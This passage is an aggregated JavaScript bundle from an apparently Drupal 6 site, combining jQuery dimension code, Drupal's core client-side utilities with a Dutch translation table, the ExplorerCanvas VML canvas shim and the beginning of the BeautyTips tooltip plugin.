G=this.offsetParent(),J=this.offset(),E=/^body|html$/i.test(G[0].tagName)?{top:0,left:0}:G.offset();J.top-=j(this,"marginTop");J.left-=j(this,"marginLeft");E.top+=j(G,"borderTopWidth");E.left+=j(G,"borderLeftWidth");F={top:J.top-E.top,left:J.left-E.left}}return F},offsetParent:function(){var E=this[0].offsetParent||document.body;while(E&&(!/^body|html$/i.test(E.tagName)&&o.css(E,"position")=="static")){E=E.offsetParent}return o(E)}});o.each(["Left","Top"],function(F,E){var G="scroll"+E;o.fn[G]=function(H){if(!this[0]){return null}return H!==g?this.each(function(){this==l||this==document?l.scrollTo(!F?H:o(l).scrollLeft(),F?H:o(l).scrollTop()):this[G]=H}):this[0]==l||this[0]==document?self[F?"pageYOffset":"pageXOffset"]||o.boxModel&&document.documentElement[G]||document.body[G]:this[0][G]}});o.each(["Height","Width"],function(I,G){var E=I?"Left":"Top",H=I?"Right":"Bottom",F=G.toLowerCase();o.fn["inner"+G]=function(){return this[0]?o.css(this[0],F,false,"padding"):null};o.fn["outer"+G]=function(K){return this[0]?o.css(this[0],F,false,K?"margin":"border"):null};var J=G.toLowerCase();o.fn[J]=function(K){return this[0]==l?document.compatMode=="CSS1Compat"&&document.documentElement["client"+G]||document.body["client"+G]:this[0]==document?Math.max(document.documentElement["client"+G],document.body["scroll"+G],document.documentElement["scroll"+G],document.body["offset"+G],document.documentElement["offset"+G]):K===g?(this.length?o.css(this[0],J):null):this.css(J,typeof K==="string"?K:K+"px")}})})();;

var Drupal = Drupal || { 'settings': {}, 'behaviors': {}, 'themes': {}, 'locale': {} };

/**
 * Set the variable that indicates if JavaScript behaviors should be applied
 */
Drupal.jsEnabled = document.getElementsByTagName && document.createElement && document.createTextNode && document.documentElement && document.getElementById;

/**
 * Attach all registered behaviors to a page element.
 *
 * Behaviors are event-triggered actions that attach to page elements, enhancing
 * default non-Javascript UIs. Behaviors are registered in the Drupal.behaviors
 * object as follows:
 * @code
 *    Drupal.behaviors.behaviorName = function () {
 *      ...
 *    };
 * @endcode
 *
 * Drupal.attachBehaviors is added below to the jQuery ready event and so
 * runs on initial page load. Developers implementing AHAH/AJAX in their
 * solutions should also call this function after new page content has been
 * loaded, feeding in an element to be processed, in order to attach all
 * behaviors to the new content.
 *
 * Behaviors should use a class in the form behaviorName-processed to ensure
 * the behavior is attached only once to a given element. (Doing so enables
 * the reprocessing of given elements, which may be needed on occasion despite
 * the ability to limit behavior attachment to a particular element.)
 *
 * @param context
 *   An element to attach behaviors to. If none is given, the document element
 *   is used.
 */
Drupal.attachBehaviors = function(context) {
  context = context || document;
  if (Drupal.jsEnabled) {
    // Execute all of them.
    jQuery.each(Drupal.behaviors, function() {
      this(context);
    });
  }
};

/**
 * Encode special characters in a plain-text string for display as HTML.
 */
Drupal.checkPlain = function(str) {
  str = String(str);
  var replace = { '&': '&amp;', '"': '&quot;', '<': '&lt;', '>': '&gt;' };
  for (var character in replace) {
    var regex = new RegExp(character, 'g');
    str = str.replace(regex, replace[character]);
  }
  return str;
};

/**
 * Translate strings to the page language or a given language.
 *
 * See the documentation of the server-side t() function for further details.
 *
 * @param str
 *   A string containing the English string to translate.
 * @param args
 *   An object of replacements pairs to make after translation. Incidences
 *   of any key in this array are replaced with the corresponding value.
 *   Based on the first character of the key, the value is escaped and/or themed:
 *    - !variable: inserted as is
 *    - @variable: escape plain text to HTML (Drupal.checkPlain)
 *    - %variable: escape text and theme as a placeholder for user-submitted
 *      content (checkPlain + Drupal.theme('placeholder'))
 * @return
 *   The translated string.
 */
Drupal.t = function(str, args) {
  // Fetch the localized version of the string.
  if (Drupal.locale.strings && Drupal.locale.strings[str]) {
    str = Drupal.locale.strings[str];
  }

  if (args) {
    // Transform arguments before inserting them
    for (var key in args) {
      switch (key.charAt(0)) {
        // Escaped only
        case '@':
          args[key] = Drupal.checkPlain(args[key]);
        break;
        // Pass-through
        case '!':
          break;
        // Escaped and placeholder
        case '%':
        default:
          args[key] = Drupal.theme('placeholder', args[key]);
          break;
      }
      str = str.replace(key, args[key]);
    }
  }
  return str;
};

/**
 * Format a string containing a count of items.
 *
 * This function ensures that the string is pluralized correctly. Since Drupal.t() is
 * called by this function, make sure not to pass already-localized strings to it.
 *
 * See the documentation of the server-side format_plural() function for further details.
 *
 * @param count
 *   The item count to display.
 * @param singular
 *   The string for the singular case. Please make sure it is clear this is
 *   singular, to ease translation (e.g. use "1 new comment" instead of "1 new").
 *   Do not use @count in the singular string.
 * @param plural
 *   The string for the plural case. Please make sure it is clear this is plural,
 *   to ease translation. Use @count in place of the item count, as in "@count
 *   new comments".
 * @param args
 *   An object of replacements pairs to make after translation. Incidences
 *   of any key in this array are replaced with the corresponding value.
 *   Based on the first character of the key, the value is escaped and/or themed:
 *    - !variable: inserted as is
 *    - @variable: escape plain text to HTML (Drupal.checkPlain)
 *    - %variable: escape text and theme as a placeholder for user-submitted
 *      content (checkPlain + Drupal.theme('placeholder'))
 *   Note that you do not need to include @count in this array.
 *   This replacement is done automatically for the plural case.
 * @return
 *   A translated string.
 */
Drupal.formatPlural = function(count, singular, plural, args) {
  var args = args || {};
  args['@count'] = count;
  // Determine the index of the plural form.
  var index = Drupal.locale.pluralFormula ? Drupal.locale.pluralFormula(args['@count']) : ((args['@count'] == 1) ? 0 : 1);

  if (index == 0) {
    return Drupal.t(singular, args);
  }
  else if (index == 1) {
    return Drupal.t(plural, args);
  }
  else {
    args['@count['+ index +']'] = args['@count'];
    delete args['@count'];
    return Drupal.t(plural.replace('@count', '@count['+ index +']'));
  }
};

/**
 * Generate the themed representation of a Drupal object.
 *
 * All requests for themed output must go through this function. It examines
 * the request and routes it to the appropriate theme function. If the current
 * theme does not provide an override function, the generic theme function is
 * called.
 *
 * For example, to retrieve the HTML that is output by theme_placeholder(text),
 * call Drupal.theme('placeholder', text).
 *
 * @param func
 *   The name of the theme function to call.
 * @param ...
 *   Additional arguments to pass along to the theme function.
 * @return
 *   Any data the theme function returns. This could be a plain HTML string,
 *   but also a complex object.
 */
Drupal.theme = function(func) {
  for (var i = 1, args = []; i < arguments.length; i++) {
    args.push(arguments[i]);
  }

  return (Drupal.theme[func] || Drupal.theme.prototype[func]).apply(this, args);
};

/**
 * Parse a JSON response.
 *
 * The result is either the JSON object, or an object with 'status' 0 and 'data' an error message.
 */
Drupal.parseJson = function (data) {
  if ((data.substring(0, 1) != '{') && (data.substring(0, 1) != '[')) {
    return { status: 0, data: data.length ? data : Drupal.t('Unspecified error') };
  }
  return eval('(' + data + ');');
};

/**
 * Freeze the current body height (as minimum height). Used to prevent
 * unnecessary upwards scrolling when doing DOM manipulations.
 */
Drupal.freezeHeight = function () {
  Drupal.unfreezeHeight();
  var div = document.createElement('div');
  $(div).css({
    position: 'absolute',
    top: '0px',
    left: '0px',
    width: '1px',
    height: $('body').css('height')
  }).attr('id', 'freeze-height');
  $('body').append(div);
};

/**
 * Unfreeze the body height
 */
Drupal.unfreezeHeight = function () {
  $('#freeze-height').remove();
};

/**
 * Wrapper around encodeURIComponent() which avoids Apache quirks (equivalent of
 * drupal_urlencode() in PHP). This function should only be used on paths, not
 * on query string arguments.
 */
Drupal.encodeURIComponent = function (item, uri) {
  uri = uri || location.href;
  item = encodeURIComponent(item).replace(/%2F/g, '/');
  return (uri.indexOf('?q=') != -1) ? item : item.replace(/%26/g, '%2526').replace(/%23/g, '%2523').replace(/\/\//g, '/%252F');
};

/**
 * Get the text selection in a textarea.
 */
Drupal.getSelection = function (element) {
  if (typeof(element.selectionStart) != 'number' && document.selection) {
    // The current selection
    var range1 = document.selection.createRange();
    var range2 = range1.duplicate();
    // Select all text.
    range2.moveToElementText(element);
    // Now move 'dummy' end point to end point of original range.
    range2.setEndPoint('EndToEnd', range1);
    // Now we can calculate start and end points.
    var start = range2.text.length - range1.text.length;
    var end = start + range1.text.length;
    return { 'start': start, 'end': end };
  }
  return { 'start': element.selectionStart, 'end': element.selectionEnd };
};

/**
 * Build an error message from ahah response.
 */
Drupal.ahahError = function(xmlhttp, uri) {
  if (xmlhttp.status == 200) {
    if (jQuery.trim($(xmlhttp.responseText).text())) {
      var message = Drupal.t("An error occurred. \n@uri\n@text", {'@uri': uri, '@text': xmlhttp.responseText });
    }
    else {
      var message = Drupal.t("An error occurred. \n@uri\n(no information available).", {'@uri': uri, '@text': xmlhttp.responseText });
    }
  }
  else {
    var message = Drupal.t("An HTTP error @status occurred. \n@uri", {'@uri': uri, '@status': xmlhttp.status });
  }
  return message;
}

// Global Killswitch on the <html> element
if (Drupal.jsEnabled) {
  // Global Killswitch on the <html> element
  $(document.documentElement).addClass('js');
  // 'js enabled' cookie
  document.cookie = 'has_js=1; path=/';
  // Attach all behaviors.
  $(document).ready(function() {
    Drupal.attachBehaviors(this);
  });
}

/**
 * The default themes.
 */
Drupal.theme.prototype = {

  /**
   * Formats text for emphasized display in a placeholder inside a sentence.
   *
   * @param str
   *   The text to format (plain-text).
   * @return
   *   The formatted text (html).
   */
  placeholder: function(str) {
    return '<em>' + Drupal.checkPlain(str) + '</em>';
  }
};
;
Drupal.locale = { 'pluralFormula': function($n) { return Number(($n!=1)); }, 'strings': { "Unspecified error": "Onbekend probleem", "Testing clean URLs...": "Testen van schone URLs.", "Your server has been successfully tested to support this feature.": "De server is getest en kan deze functie gebruiken.", "Your system configuration does not currently support this feature. The \x3ca href=\"http://drupal.org/node/15365\"\x3ehandbook page on Clean URLs\x3c/a\x3e has additional troubleshooting information.": "De systeem configuratie ondersteunt deze functie momenteel niet. De \x3ca href=\"http://drupal.org/node/15365\"\x3e handboekpagina over Clean URLs\x3c/a\x3e geeft meer informatie.", "None": "Geen", "Drag to re-order": "Slepen om de volgorde te wijzigen", "Changes made in this table will not be saved until the form is submitted.": "Wijzigingen in deze tabel worden pas opgeslagen wanneer het formulier wordt ingediend.", "Cancel": "Annuleren", "Anonymous": "Anoniem", "Update": "Bijwerken", "Select all rows in this table": "Selecteer alle regels van deze tabel", "Deselect all rows in this table": "De-selecteer alle regels van deze tabel", "Save": "Opslaan", "The selected file %filename cannot be uploaded. Only files with the following extensions are allowed: %extensions.": "Het bestand %filename kan niet geüpload worden. Alleen bestanden met de volgende extensies zijn toegestaan: %extensions", "Published": "Gepubliceerd", "Promoted to front page": "Aangeraden op de voorpagina", "Insert": "Invoegen", "Loading...": "Bezig met laden...", "The changes to these blocks will not be saved until the \x3cem\x3eSave blocks\x3c/em\x3e button is clicked.": "Wijzigingen aan de blokken worden pas opgeslagen wanneer u de knop \x3cem\x3eBlokken opslaan\x3c/em\x3e aanklikt.", "Next": "Volgende", "Not published": "Niet gepubliceerd", "Save and send": "Opslaan en verzenden", "Save and send test": "Opslaan en test verzenden", "Automatic alias": "Automatische alias", "Alias: @alias": "Alias: @alias", "No alias": "Geen alias", "Close": "Sluiten", "New revision": "Nieuwe revisie", "No revision": "Geen revisie", "By @name on @date": "Door @name op @date", "By @name": "Door @name", "Sticky on top of lists": "Vastgeplakt bovenaan lijsten", "Not in menu": "Niet in een menu", "Inclusion: @value": "Insluiting: @value", "Priority: @value": "Prioriteit: @value", "Not restricted": "Geen beperking", "1 redirect": [ "1 omleiding", "@count omleidingen" ], "No redirects": "Geen omleidingen", "Requires a title": "Een titel is verplicht", "No body": "Geen berichttekst", "Are you sure you want to remove this item?": "Weet u zeker dat u dit item wilt verwijderen?", "No terms": "Geen termen", "Loading": "Laden" } };;
// Copyright 2006 Google Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//   http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
document.createElement("canvas").getContext||(function(){var s=Math,j=s.round,F=s.sin,G=s.cos,V=s.abs,W=s.sqrt,k=10,v=k/2;function X(){return this.context_||(this.context_=new H(this))}var L=Array.prototype.slice;function Y(b,a){var c=L.call(arguments,2);return function(){return b.apply(a,c.concat(L.call(arguments)))}}var M={init:function(b){if(/MSIE/.test(navigator.userAgent)&&!window.opera){var a=b||document;a.createElement("canvas");a.attachEvent("onreadystatechange",Y(this.init_,this,a))}},init_:function(b){b.namespaces.g_vml_||
b.namespaces.add("g_vml_","urn:schemas-microsoft-com:vml","#default#VML");b.namespaces.g_o_||b.namespaces.add("g_o_","urn:schemas-microsoft-com:office:office","#default#VML");if(!b.styleSheets.ex_canvas_){var a=b.createStyleSheet();a.owningElement.id="ex_canvas_";a.cssText="canvas{display:inline-block;overflow:hidden;text-align:left;width:300px;height:150px}g_vml_\\:*{behavior:url(#default#VML)}g_o_\\:*{behavior:url(#default#VML)}"}var c=b.getElementsByTagName("canvas"),d=0;for(;d<c.length;d++)this.initElement(c[d])},
initElement:function(b){if(!b.getContext){b.getContext=X;b.innerHTML="";b.attachEvent("onpropertychange",Z);b.attachEvent("onresize",$);var a=b.attributes;if(a.width&&a.width.specified)b.style.width=a.width.nodeValue+"px";else b.width=b.clientWidth;if(a.height&&a.height.specified)b.style.height=a.height.nodeValue+"px";else b.height=b.clientHeight}return b}};function Z(b){var a=b.srcElement;switch(b.propertyName){case "width":a.style.width=a.attributes.width.nodeValue+"px";a.getContext().clearRect();
break;case "height":a.style.height=a.attributes.height.nodeValue+"px";a.getContext().clearRect();break}}function $(b){var a=b.srcElement;if(a.firstChild){a.firstChild.style.width=a.clientWidth+"px";a.firstChild.style.height=a.clientHeight+"px"}}M.init();var N=[],B=0;for(;B<16;B++){var C=0;for(;C<16;C++)N[B*16+C]=B.toString(16)+C.toString(16)}function I(){return[[1,0,0],[0,1,0],[0,0,1]]}function y(b,a){var c=I(),d=0;for(;d<3;d++){var f=0;for(;f<3;f++){var h=0,g=0;for(;g<3;g++)h+=b[d][g]*a[g][f];c[d][f]=
h}}return c}function O(b,a){a.fillStyle=b.fillStyle;a.lineCap=b.lineCap;a.lineJoin=b.lineJoin;a.lineWidth=b.lineWidth;a.miterLimit=b.miterLimit;a.shadowBlur=b.shadowBlur;a.shadowColor=b.shadowColor;a.shadowOffsetX=b.shadowOffsetX;a.shadowOffsetY=b.shadowOffsetY;a.strokeStyle=b.strokeStyle;a.globalAlpha=b.globalAlpha;a.arcScaleX_=b.arcScaleX_;a.arcScaleY_=b.arcScaleY_;a.lineScale_=b.lineScale_}function P(b){var a,c=1;b=String(b);if(b.substring(0,3)=="rgb"){var d=b.indexOf("(",3),f=b.indexOf(")",d+
1),h=b.substring(d+1,f).split(",");a="#";var g=0;for(;g<3;g++)a+=N[Number(h[g])];if(h.length==4&&b.substr(3,1)=="a")c=h[3]}else a=b;return{color:a,alpha:c}}function aa(b){switch(b){case "butt":return"flat";case "round":return"round";case "square":default:return"square"}}function H(b){this.m_=I();this.mStack_=[];this.aStack_=[];this.currentPath_=[];this.fillStyle=this.strokeStyle="#000";this.lineWidth=1;this.lineJoin="miter";this.lineCap="butt";this.miterLimit=k*1;this.globalAlpha=1;this.canvas=b;
var a=b.ownerDocument.createElement("div");a.style.width=b.clientWidth+"px";a.style.height=b.clientHeight+"px";a.style.overflow="hidden";a.style.position="absolute";b.appendChild(a);this.element_=a;this.lineScale_=this.arcScaleY_=this.arcScaleX_=1}var i=H.prototype;i.clearRect=function(){this.element_.innerHTML=""};i.beginPath=function(){this.currentPath_=[]};i.moveTo=function(b,a){var c=this.getCoords_(b,a);this.currentPath_.push({type:"moveTo",x:c.x,y:c.y});this.currentX_=c.x;this.currentY_=c.y};
i.lineTo=function(b,a){var c=this.getCoords_(b,a);this.currentPath_.push({type:"lineTo",x:c.x,y:c.y});this.currentX_=c.x;this.currentY_=c.y};i.bezierCurveTo=function(b,a,c,d,f,h){var g=this.getCoords_(f,h),l=this.getCoords_(b,a),e=this.getCoords_(c,d);Q(this,l,e,g)};function Q(b,a,c,d){b.currentPath_.push({type:"bezierCurveTo",cp1x:a.x,cp1y:a.y,cp2x:c.x,cp2y:c.y,x:d.x,y:d.y});b.currentX_=d.x;b.currentY_=d.y}i.quadraticCurveTo=function(b,a,c,d){var f=this.getCoords_(b,a),h=this.getCoords_(c,d),g={x:this.currentX_+
0.6666666666666666*(f.x-this.currentX_),y:this.currentY_+0.6666666666666666*(f.y-this.currentY_)};Q(this,g,{x:g.x+(h.x-this.currentX_)/3,y:g.y+(h.y-this.currentY_)/3},h)};i.arc=function(b,a,c,d,f,h){c*=k;var g=h?"at":"wa",l=b+G(d)*c-v,e=a+F(d)*c-v,m=b+G(f)*c-v,r=a+F(f)*c-v;if(l==m&&!h)l+=0.125;var n=this.getCoords_(b,a),o=this.getCoords_(l,e),q=this.getCoords_(m,r);this.currentPath_.push({type:g,x:n.x,y:n.y,radius:c,xStart:o.x,yStart:o.y,xEnd:q.x,yEnd:q.y})};i.rect=function(b,a,c,d){this.moveTo(b,
a);this.lineTo(b+c,a);this.lineTo(b+c,a+d);this.lineTo(b,a+d);this.closePath()};i.strokeRect=function(b,a,c,d){var f=this.currentPath_;this.beginPath();this.moveTo(b,a);this.lineTo(b+c,a);this.lineTo(b+c,a+d);this.lineTo(b,a+d);this.closePath();this.stroke();this.currentPath_=f};i.fillRect=function(b,a,c,d){var f=this.currentPath_;this.beginPath();this.moveTo(b,a);this.lineTo(b+c,a);this.lineTo(b+c,a+d);this.lineTo(b,a+d);this.closePath();this.fill();this.currentPath_=f};i.createLinearGradient=function(b,
a,c,d){var f=new D("gradient");f.x0_=b;f.y0_=a;f.x1_=c;f.y1_=d;return f};i.createRadialGradient=function(b,a,c,d,f,h){var g=new D("gradientradial");g.x0_=b;g.y0_=a;g.r0_=c;g.x1_=d;g.y1_=f;g.r1_=h;return g};i.drawImage=function(b){var a,c,d,f,h,g,l,e,m=b.runtimeStyle.width,r=b.runtimeStyle.height;b.runtimeStyle.width="auto";b.runtimeStyle.height="auto";var n=b.width,o=b.height;b.runtimeStyle.width=m;b.runtimeStyle.height=r;if(arguments.length==3){a=arguments[1];c=arguments[2];h=g=0;l=d=n;e=f=o}else if(arguments.length==
5){a=arguments[1];c=arguments[2];d=arguments[3];f=arguments[4];h=g=0;l=n;e=o}else if(arguments.length==9){h=arguments[1];g=arguments[2];l=arguments[3];e=arguments[4];a=arguments[5];c=arguments[6];d=arguments[7];f=arguments[8]}else throw Error("Invalid number of arguments");var q=this.getCoords_(a,c),t=[];t.push(" <g_vml_:group",' coordsize="',k*10,",",k*10,'"',' coordorigin="0,0"',' style="width:',10,"px;height:",10,"px;position:absolute;");if(this.m_[0][0]!=1||this.m_[0][1]){var E=[];E.push("M11=",
this.m_[0][0],",","M12=",this.m_[1][0],",","M21=",this.m_[0][1],",","M22=",this.m_[1][1],",","Dx=",j(q.x/k),",","Dy=",j(q.y/k),"");var p=q,z=this.getCoords_(a+d,c),w=this.getCoords_(a,c+f),x=this.getCoords_(a+d,c+f);p.x=s.max(p.x,z.x,w.x,x.x);p.y=s.max(p.y,z.y,w.y,x.y);t.push("padding:0 ",j(p.x/k),"px ",j(p.y/k),"px 0;filter:progid:DXImageTransform.Microsoft.Matrix(",E.join(""),", sizingmethod='clip');")}else t.push("top:",j(q.y/k),"px;left:",j(q.x/k),"px;");t.push(' ">','<g_vml_:image src="',b.src,
'"',' style="width:',k*d,"px;"," height:",k*f,'px;"',' cropleft="',h/n,'"',' croptop="',g/o,'"',' cropright="',(n-h-l)/n,'"',' cropbottom="',(o-g-e)/o,'"'," />","</g_vml_:group>");this.element_.insertAdjacentHTML("BeforeEnd",t.join(""))};i.stroke=function(b){var a=[],c=P(b?this.fillStyle:this.strokeStyle),d=c.color,f=c.alpha*this.globalAlpha;a.push("<g_vml_:shape",' filled="',!!b,'"',' style="position:absolute;width:',10,"px;height:",10,'px;"',' coordorigin="0 0" coordsize="',k*10," ",k*10,'"',' stroked="',
!b,'"',' path="');var h={x:null,y:null},g={x:null,y:null},l=0;for(;l<this.currentPath_.length;l++){var e=this.currentPath_[l];switch(e.type){case "moveTo":a.push(" m ",j(e.x),",",j(e.y));break;case "lineTo":a.push(" l ",j(e.x),",",j(e.y));break;case "close":a.push(" x ");e=null;break;case "bezierCurveTo":a.push(" c ",j(e.cp1x),",",j(e.cp1y),",",j(e.cp2x),",",j(e.cp2y),",",j(e.x),",",j(e.y));break;case "at":case "wa":a.push(" ",e.type," ",j(e.x-this.arcScaleX_*e.radius),",",j(e.y-this.arcScaleY_*e.radius),
" ",j(e.x+this.arcScaleX_*e.radius),",",j(e.y+this.arcScaleY_*e.radius)," ",j(e.xStart),",",j(e.yStart)," ",j(e.xEnd),",",j(e.yEnd));break}if(e){if(h.x==null||e.x<h.x)h.x=e.x;if(g.x==null||e.x>g.x)g.x=e.x;if(h.y==null||e.y<h.y)h.y=e.y;if(g.y==null||e.y>g.y)g.y=e.y}}a.push(' ">');if(b)if(typeof this.fillStyle=="object"){var m=this.fillStyle,r=0,n={x:0,y:0},o=0,q=1;if(m.type_=="gradient"){var t=m.x1_/this.arcScaleX_,E=m.y1_/this.arcScaleY_,p=this.getCoords_(m.x0_/this.arcScaleX_,m.y0_/this.arcScaleY_),
z=this.getCoords_(t,E);r=Math.atan2(z.x-p.x,z.y-p.y)*180/Math.PI;if(r<0)r+=360;if(r<1.0E-6)r=0}else{var p=this.getCoords_(m.x0_,m.y0_),w=g.x-h.x,x=g.y-h.y;n={x:(p.x-h.x)/w,y:(p.y-h.y)/x};w/=this.arcScaleX_*k;x/=this.arcScaleY_*k;var R=s.max(w,x);o=2*m.r0_/R;q=2*m.r1_/R-o}var u=m.colors_;u.sort(function(ba,ca){return ba.offset-ca.offset});var J=u.length,da=u[0].color,ea=u[J-1].color,fa=u[0].alpha*this.globalAlpha,ga=u[J-1].alpha*this.globalAlpha,S=[],l=0;for(;l<J;l++){var T=u[l];S.push(T.offset*q+
o+" "+T.color)}a.push('<g_vml_:fill type="',m.type_,'"',' method="none" focus="100%"',' color="',da,'"',' color2="',ea,'"',' colors="',S.join(","),'"',' opacity="',ga,'"',' g_o_:opacity2="',fa,'"',' angle="',r,'"',' focusposition="',n.x,",",n.y,'" />')}else a.push('<g_vml_:fill color="',d,'" opacity="',f,'" />');else{var K=this.lineScale_*this.lineWidth;if(K<1)f*=K;a.push("<g_vml_:stroke",' opacity="',f,'"',' joinstyle="',this.lineJoin,'"',' miterlimit="',this.miterLimit,'"',' endcap="',aa(this.lineCap),
'"',' weight="',K,'px"',' color="',d,'" />')}a.push("</g_vml_:shape>");this.element_.insertAdjacentHTML("beforeEnd",a.join(""))};i.fill=function(){this.stroke(true)};i.closePath=function(){this.currentPath_.push({type:"close"})};i.getCoords_=function(b,a){var c=this.m_;return{x:k*(b*c[0][0]+a*c[1][0]+c[2][0])-v,y:k*(b*c[0][1]+a*c[1][1]+c[2][1])-v}};i.save=function(){var b={};O(this,b);this.aStack_.push(b);this.mStack_.push(this.m_);this.m_=y(I(),this.m_)};i.restore=function(){O(this.aStack_.pop(),
this);this.m_=this.mStack_.pop()};function ha(b){var a=0;for(;a<3;a++){var c=0;for(;c<2;c++)if(!isFinite(b[a][c])||isNaN(b[a][c]))return false}return true}function A(b,a,c){if(!!ha(a)){b.m_=a;if(c)b.lineScale_=W(V(a[0][0]*a[1][1]-a[0][1]*a[1][0]))}}i.translate=function(b,a){A(this,y([[1,0,0],[0,1,0],[b,a,1]],this.m_),false)};i.rotate=function(b){var a=G(b),c=F(b);A(this,y([[a,c,0],[-c,a,0],[0,0,1]],this.m_),false)};i.scale=function(b,a){this.arcScaleX_*=b;this.arcScaleY_*=a;A(this,y([[b,0,0],[0,a,
0],[0,0,1]],this.m_),true)};i.transform=function(b,a,c,d,f,h){A(this,y([[b,a,0],[c,d,0],[f,h,1]],this.m_),true)};i.setTransform=function(b,a,c,d,f,h){A(this,[[b,a,0],[c,d,0],[f,h,1]],true)};i.clip=function(){};i.arcTo=function(){};i.createPattern=function(){return new U};function D(b){this.type_=b;this.r1_=this.y1_=this.x1_=this.r0_=this.y0_=this.x0_=0;this.colors_=[]}D.prototype.addColorStop=function(b,a){a=P(a);this.colors_.push({offset:b,color:a.color,alpha:a.alpha})};function U(){}G_vmlCanvasManager=
M;CanvasRenderingContext2D=H;CanvasGradient=D;CanvasPattern=U})();
;
/*
 * @name BeautyTips
 * @desc a tooltips/baloon-help plugin for jQuery
 *
 * @author Jeff Robbins - Lullabot - http://www.lullabot.com
 * @version 0.9.5 release candidate 1  (5/20/2009)
 */
jQuery.bt={version:'0.9.5-rc1'};;(function($){jQuery.fn.bt=function(content,options){if(typeof content!='string'){var contentSelect=true;options=content;content=false;}
else{var contentSelect=false;}
if(jQuery.fn.hoverIntent&&jQuery.bt.defaults.trigger=='hover'){jQuery.bt.defaults.trigger='hoverIntent';}
return this.each(function(index){var opts=jQuery.extend(false,jQuery.bt.defaults,jQuery.bt.options,options);opts.spikeLength=numb(opts.spikeLength);opts.spikeGirth=numb(opts.spikeGirth);opts.overlap=numb(opts.overlap);var ajaxTimeout=false;if(opts.killTitle){$(this).find('[title]').andSelf().each(function(){if(!$(this).attr('bt-xTitle')){$(this).attr('bt-xTitle',$(this).attr('title')).attr('title','');}});}
if(typeof opts.trigger=='string'){opts.trigger=[opts.trigger];}
if(opts.trigger[0]=='hoverIntent'){var hoverOpts=jQuery.extend(opts.hoverIntentOpts,{over:function(){this.btOn();},out:function(){this.btOff();}});$(this).hoverIntent(hoverOpts);}
else if(opts.trigger[0]=='hover'){$(this).hover(function(){this.btOn();},function(){this.btOff();});}
else if(opts.trigger[0]=='now'){if($(this).hasClass('bt-active')){this.btOff();}
else{this.btOn();}}
else if(opts.trigger[0]=='none'){}
else if(opts.trigger.length>1&&opts.trigger[0]!=opts.trigger[1]){$(this).bind(opts.trigger[0],function(){this.btOn();}).bind(opts.trigger[1],function(){this.btOff();});}
else{$(this).bind(opts.trigger[0],function(){if($(this).hasClass('bt-active')){this.btOff();}
else{this.btOn();}});}
this.btOn=function(){if(typeof $(this).data('bt-box')=='object'){this.btOff();}
opts.preBuild.apply(this);$(jQuery.bt.vars.closeWhenOpenStack).btOff();$(this).addClass('bt-active '+opts.activeClass);if(contentSelect&&opts.ajaxPath==null){if(opts.killTitle){$(this).attr('title',$(this).attr('bt-xTitle'));}
content=$.isFunction(opts.contentSelector)?opts.contentSelector.apply(this):eval(opts.contentSelector);if(opts.killTitle){$(this).attr('title','');}}
if(opts.ajaxPath!=null&&content==false){if(typeof opts.ajaxPath=='object'){var url=eval(opts.ajaxPath[0]);url+=opts.ajaxPath[1]?' '+opts.ajaxPath[1]:'';}
else{var url=opts.ajaxPath;}
var off=url.indexOf(" ");if(off>=0){var selector=url.slice(off,url.length);url=url.slice(0,off);}
var cacheData=opts.ajaxCache?$(document.body).data('btCache-'+url.replace(/\./g,'')):null;if(typeof cacheData=='string'){content=selector?$("<div/>").append(cacheData.replace(/<script(.|\s)*?\/script>/g,"")).find(selector):cacheData;}
else{var target=this;var ajaxOpts=jQuery.extend(false,{type:opts.ajaxType,data:opts.ajaxData,cache:opts.ajaxCache,url:url,complete:function(XMLHttpRequest,textStatus){if(textStatus=='success'||textStatus=='notmodified'){if(opts.ajaxCache){$(document.body).data('btCache-'+url.replace(/\./g,''),XMLHttpRequest.responseText);}
ajaxTimeout=false;content=selector?$("<div/>").append(XMLHttpRequest.responseText.replace(/<script(.|\s)*?\/script>/g,"")).find(selector):XMLHttpRequest.responseText;}
else{if(textStatus=='timeout'){ajaxTimeout=true;}
content=opts.ajaxError.replace(/%error/g,XMLHttpRequest.statusText);}
if($(target).hasClass('bt-active')){target.btOn();}}},opts.ajaxOpts);jQuery.ajax(ajaxOpts);content=opts.ajaxLoading;}}
var shadowMarginX=0;var shadowMarginY=0;var shadowShiftX=0;var shadowShiftY=0;if(opts.shadow&&!shadowSupport()){opts.shadow=false;jQuery.extend(opts,opts.noShadowOpts);}
if(opts.shadow){if(opts.shadowBlur>Math.abs(opts.shadowOffsetX)){shadowMarginX=opts.shadowBlur*2;}
else{shadowMarginX=opts.shadowBlur+Math.abs(opts.shadowOffsetX);}
shadowShiftX=(opts.shadowBlur-opts.shadowOffsetX)>0?opts.shadowBlur-opts.shadowOffsetX:0;if(opts.shadowBlur>Math.abs(opts.shadowOffsetY)){shadowMarginY=opts.shadowBlur*2;}
else{shadowMarginY=opts.shadowBlur+Math.abs(opts.shadowOffsetY);}
shadowShiftY=(opts.shadowBlur-opts.shadowOffsetY)>0?opts.shadowBlur-opts.shadowOffsetY:0;}
if(opts.offsetParent){var offsetParent=$(opts.offsetParent);var offsetParentPos=offsetParent.offset();var pos=$(this).offset();var top=numb(pos.top)-numb(offsetParentPos.top)+numb($(this).css('margin-top'))-shadowShiftY;var left=numb(pos.left)-numb(offsetParentPos.left)+numb($(this).css('margin-left'))-shadowShiftX;}
else{var offsetParent=($(this).css('position')=='absolute')?$(this).parents().eq(0).offsetParent():$(this).offsetParent();var pos=$(this).btPosition();var top=numb(pos.top)+numb($(this).css('margin-top'))-shadowShiftY;var left=numb(pos.left)+numb($(this).css('margin-left'))-shadowShiftX;}
var width=$(this).btOuterWidth();var height=$(this).outerHeight();if(typeof content=='object'){if(content==null){return;}
var original=content;var clone=$(original).clone(true).show();var origClones=$(original).data('bt-clones')||[];origClones.push(clone);$(original).data('bt-clones',origClones);$(clone).data('bt-orig',original);$(this).data('bt-content-orig',{original:original,clone:clone});content=clone;}
if(typeof content=='null'||content==''){return;}
